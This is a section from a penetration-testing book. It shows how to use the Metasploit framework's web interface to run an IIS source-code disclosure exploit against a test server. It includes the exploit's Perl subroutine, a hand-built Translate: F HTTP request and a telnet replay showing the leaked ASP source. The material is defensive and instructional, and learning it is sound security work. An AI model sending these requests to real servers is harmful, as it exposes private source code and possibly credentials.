Using MetaSploit

Previous Section
Next Section

Using MetaSploit

MetaSploit is an open source framework for research more than it is an automated tool of sorts. HD Moore and the team over at MetaSploit (a listing is cleverly disguised as an exploit labeled “Metasploit Framework Credits”) deserve great respect because the project is totally powerful. You can see their site at In particular you will be interested in the framework information section ( For the purposes of this book the framework will be approached as a streamlined way of testing targets against known exploits from within the MetaSploit DB. If you decide to take things to another level and start writing your own exploits, rock on! But that is beyond the scope of this book and entire books are dedicated to that subject these days.

Writing Exploits 

If you want to see what it’s like to write the source code for your own exploit, take a look at MetaSploit’s documentation page at

If you are interested in some good books on this subject check out

The pen testing benefit in using this type of framework is that others have already done the exploit research and have donated it for use in the real world. The framework then facilitates your testing of targets against anything in their DB. Hence, they take a lot of the manual work out of the process. For example, you will not have to compile exploit source code because it has already been compiled for you if it exists as a MetaSploit module.

Digging into an example shows proof of this. Figure shows an exploit module that actually references milw0rm, which you have already encountered.

Image from book

Clicking the reference line indeed takes you to milw0rm (see Figure) and references the exploit source code that is in this case a Perl module.

Image from book

By now the power of the MetaSploit framework should be evident. Let’s dig into it via some usage. This book does not cover the installation of the framework; there is plenty of documentation on the site ( There are two modes of operation, command line via a shelled environment and via a web interface. Because most of this book has been concentrating on shells, this example will be performed via the browser and MetaSploit’s web-based GUI. There is no difference in functionality between the two modes of operation. If you are interested in using the framework via the shelled environment, visit the same link provided earlier for documentation; usage via shell is covered well.

The first thing to do with any tool like this one is to make sure it is up to date. One simple shell-based command will bring your framework up to speed with the latest and greatest data. This is what it looks like when there are updates to process:

./msfupdate -u
+ -- --=[ msfupdate v2.5 [revision 1.42]
[*] Calculating local file checksums, please wait...
[*] Online Update Task Summary

        Update: ./exploits/
        Update: ./lib/Pex/
        Update: ./exploits/
        Update: ./exploits/

Continue? (yes or no) > yes
[*] Starting online update of 4 file(s)...
[0001/0004 - 0x001080 bytes] ./exploits/
[0002/0004 - 0x0010e1 bytes] ./exploits/
[0003/0004 - 0x001f8b bytes] ./exploits/
[0004/0004 - 0x012ecf bytes] ./lib/Pex/

[*] Regenerating local file database

Another option for updating the framework data is to download the exploit or payloads from the MetaSploit site directly. You will then have to take the downloaded files and place them in their respective directories. This step entirely depends on how you have deployed the framework and where the “exploit” and “payloads” directories reside. To ensure that your newly downloaded packages are loaded after placing them in the correct spots, be sure to run the reload command from within the msfconsole (framework shell). msfupdate is just a lot easier.

Now that the local data set is up to date, target a dynamic web page from your IIS 5 test host. Based on experience and application knowledge you should already know that you are looking for some file with an extension of .asp (Active Server Pages). Make sure that MetaSploit has a module for you; go to and look for anything that is relevant. The modules are very logically named and for this example you will find one that is labeled “iis_source_dumper.”

Based on this direction, the exploit you will attempt is actually called “IIS Web application Source Code Disclosure.” You want to break an ASP file and see its server-side source code. The way server-side code works is that the server parses the source code files and processes the relevant commands. What is sent back to the browser is the resulting output from the dynamic server-side processing. This typically looks like static HTML to the browser even though it can be other types. You want to see some ASP.

Knowing the names of most default files is quite helpful, so this session’s target will be a file called iisstart.asp. This file is placed in the default web server’s root directory upon an IIS installation. Having done enough of these web server installations will teach you certain default behavior to always check for. The bottom line is that you want a particular .asp file to attack for this type of breach. You can always refer back to one of your Wikto runs or other resource enumeration process.

Kick off the MetaSploit web server process as follows:

+----=[ Metasploit Framework Web Interface (

It should be plainly obvious to you now that you need to kick off a browser session and point it to localhost (or wherever you are running the MetaSploit web server) on port 55555. What you will see in return to the initial request should look something like Figure.

Image from book

On this initial page of named exploits find the one you are after — in this case the hyperlink is based on the actual name, so click “IIS Web application Source Code Disclosure” and you should see something similar to Figure.

Image from book

You can research all of the different options if you so choose. For this example you will be going about this brute force style so choose the first option: All Techniques (default). This option will go down the list trying each of the different exploits against the target until it finds one that is successful or they all fail. Click into this option and fill out the form as shown in Figure (with information relevant to your targets).

Image from book

You can click -Check- to see if the target is vulnerable. Currently a lot of the exploit modules have no check features written for them so you must run the exploit in the raw. You can investigate that option based on your particular exploits. Go ahead and click -Exploit- to set this off. Figure displays the result of this exploit run. You have a winner! On the third attempt the exploit got a hit using the Translate: F vulnerability in unpatched IIS systems.

Image from book

Now go back and run just this Translate: F attack (as opposed to All Techniques) in order to verify the results that were just generated. Figure shows part of the output with the server-side ASP source code exposed.

Image from book

Here is the rest:

<% @Language = "VBScript" %>
<% Response.buffer = true %>


<META HTTP-EQUIV="Content-Type" Content="text-html; charset=Windows-1252">

Dim strServername, strLocalname, strServerIP

strServername = LCase(Request.ServerVariables("SERVER_NAME"))
strServerIP = LCase(Request.ServerVariables("LOCAL_ADDR"))
strRemoteIP = LCase(Request.ServerVariables("REMOTE_ADDR"))

<% If Request("uc") <> 1 AND (strServername = "localhost" or strServerIP =
strRemoteIP) then %>
<% Response.Redirect "localstart.asp" %>
<% else %>
<title id=titletext>Under Construction</title>

<% end if %>


Clearly if this was an important file or if it had DB credentials in it, for instance, the breach would be very serious. Now you did not just go through this for bragging rights. It is your responsibility to capture the exploit details and properly document them for your client or for your developers who will be providing remediation to this issue. If you refer back to Figure there was a Perl module for this exploit available at milw0rm. Fetch that Perl module file and open it up in any text editor. You will find the following snippet of code as a subroutine:

sub bug_translatef {
 my $self = shift;
 my $sock = $self->Connect;
 return if ! $sock;

 my $req =
   "GET ".$self->GetVar('RFILE'). "\\ HTTP/1.1\r\n".
   "Translate: F\r\n".
   "Host: ". $self->VHost. "\r\n".
   "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".


 my $data = $sock->Recv(-1, 5);

 return if $data =~ /^HTTP....\s+[345]/;
 return $data if $self->DetectSource($data);

From this subroutine you can reconstruct the HTTP Request that has been sent to the server. It gets placed into the variable my $req. All of the dynamic elements you already know because you passed them in. I am referring to the resource (iisstart.asp) and the host ( So a manual reconstruction looks like this:

GET /iisstart.asp\ HTTP/1.1
Translate: F
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Go ahead and test that out by using telnet with that manually reconstructed header as such:

telnet 80
Connected to
Escape character is '^]'.
GET /iisstart.asp\ HTTP/1.1
Translate: F
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 14 Sep 2005 03:09:41 GMT
Content-Type: application/octet-stream
Content-Length: 1736
ETag: "0aa41b716aebe1:df1"
Last-Modified: Thu, 03 Jun 1999 23:13:40 GMT
Accept-Ranges: bytes
Cache-Control: no-cache

<% @Language = "VBScript" %>
<% Response.buffer = true %>

The output has been truncated for the book because you already know the outcome and related resultset. From a documentation perspective, there you have your successful Request and Response headers to present as evidence to the target client team.

Previous Section
Next Section

 Python   SQL   Java   php   Perl 
 game development   web development   internet   *nix   graphics   hardware 
 telecommunications   C++ 
 Flash   Active Directory   Windows